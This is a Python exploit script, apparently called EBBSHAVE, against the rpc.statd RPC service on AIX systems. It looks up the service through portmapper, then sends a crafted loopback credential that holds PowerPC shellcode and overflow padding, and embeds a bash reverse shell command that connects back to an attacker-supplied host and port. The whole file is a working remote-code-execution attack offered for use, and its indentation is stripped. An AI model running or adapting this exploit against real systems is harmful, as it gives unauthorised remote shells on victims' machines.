from os import urandom
from socket import socket, AF_INET, SOCK_STREAM
from struct import pack, unpack
from sys import argv, exit
from time import time, sleep
def getCredLoopbackBody():
global gid_base, rhost, lhost, lport, gid_base, execl_func, execl_toc
epoch = pack('>I', time())
node_name = 'hn'
node_length = pack('>I', len(node_name))
node_name = node_name.ljust(4, '\x00')
uid = pack('>I', 0)
gid = pack('>I', 0)
gids_len = pack('>I', 64)
base_addr = pack('>I', gid_base)
addr_8c = pack('>I', gid_base + 0x8c)
addr_a8 = pack('>I', gid_base + 0xa8)
addr_4c = pack('>I', gid_base + 0x4c)
func_addr = pack('>I', execl_func)
toc_addr = pack('>I', execl_toc)
cmd = 'bash -i >& /dev/tcp/' + lhost + '/' + lport + ' 0>&1'
cmd = cmd.ljust(0x30, '\x00')
gids = (
'/usr/bin/bash\x00\x00\x00'
'bash\x00\x00\x00\x00'
'-c\x00\x00'
) + cmd + (
'\x70\x63\x00\x00'
'\x3c\x60'
) + base_addr[0:2] + (
'\x60\x63'
) + base_addr[2:4] + (
'\x38\x83\x00\x10'
'\x38\xa4\x00\x08'
'\x38\xc5\x00\x04'
'\x70\xe7\x00\x00'
'\x70\x42\x00\x00'
'\x3c\x40'
) + toc_addr[0:2] + (
'\x60\x42'
) + toc_addr[2:4] + (
'\x71\x08\x00\x00'
'\x3d\x00'
) + func_addr[0:2] + (
'\x61\x08'
) + func_addr[2:4] + (
'\x7d\x09\x03\xa6'
'\x4e\x80\x04\x21'
'AAAAAAAAAAAAAAAAAAAA'
'ZZZZ'
) + addr_8c + addr_a8 + addr_4c + (
'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'
)
print ":".join("{:02x}".format(ord(c)) for c in gids)
print len(gids)
return epoch + node_length + node_name + uid + gid + gids_len + gids
def getCredLoopback():
cred_flavor = pack('>I', 0x55de)
cred_body = getCredLoopbackBody()
cred_len = pack('>I', len(cred_body))
return cred_flavor + cred_len + cred_body
def getAuthNone():
auth_flavor = pack('>I', 0)
auth_len = pack('>I', 0)
return auth_flavor + auth_len
def getMessage(prog_num, ver_num, proc_num, use_loopback_cred):
xid = urandom(4)
mtype = pack('>I', 0)
rpcvers = pack('>I', 2)
prog = pack('>I', prog_num)
vers = pack('>I', ver_num)
proc = pack('>I', proc_num)
cred = ( getCredLoopback() if use_loopback_cred else getAuthNone() )
verf = getAuthNone()
return xid + mtype + rpcvers + prog + vers + proc + cred + verf
def getPacket(message):
frag = pack('>I', len(message) + 0x80000000)
return frag + message
if len(argv) < 7:
print 'Usage: ebbshave-aixgeneric-v1.py rhost lhost lport gid_base execl_func execl_toc'
exit(1)
rhost = argv[1]
lhost = argv[2]
lport = argv[3]
gid_base = int(argv[4], 16)
execl_func = int(argv[5], 16)
execl_toc = int(argv[6], 16)
services = []
s = socket(AF_INET, SOCK_STREAM)
s.connect((rhost, 111))
s.send(getPacket(getMessage(
100000,
2,
4,
False
)))
s.recv(0x1c)
while list(unpack('>I', s.recv(4)))[0]:
prog_num, ver_num, proto_num, port = unpack('>IIII', s.recv(16))
if (prog_num == 100024
and proto_num == 6):
print '[ ] Found service ' + str(prog_num) + ' v' + str(ver_num) + ' on TCP port ' + str(port)
services.append((prog_num, ver_num, port))
s.close()
for service in services:
prog_num, ver_num, port = service
serv_str = str(prog_num) + ' v' + str(ver_num)
for attack in [False, True]:
sleep(1)
print '[ ] ' + ( 'Attacking' if attack else 'Pinging' ) + ' ' + serv_str
s = socket(AF_INET, SOCK_STREAM)
s.connect((rhost, port))
resp_len = 0
s.send(getPacket(getMessage(
prog_num,
ver_num,
0,
attack
)))
s.settimeout(5)
try:
resp_len = len( s.recv(1024) )
except:
resp_len = 0
try:
s.close()
except:
pass
print '[ ] Got response length ' + str(resp_len)
if resp_len == 0:
if attack:
print '[+] Probably vulnerable to EBBSHAVE, hopefully you have a shell'
else:
print '[-] Service probably down or otherwise misbehaving, skipping...'
break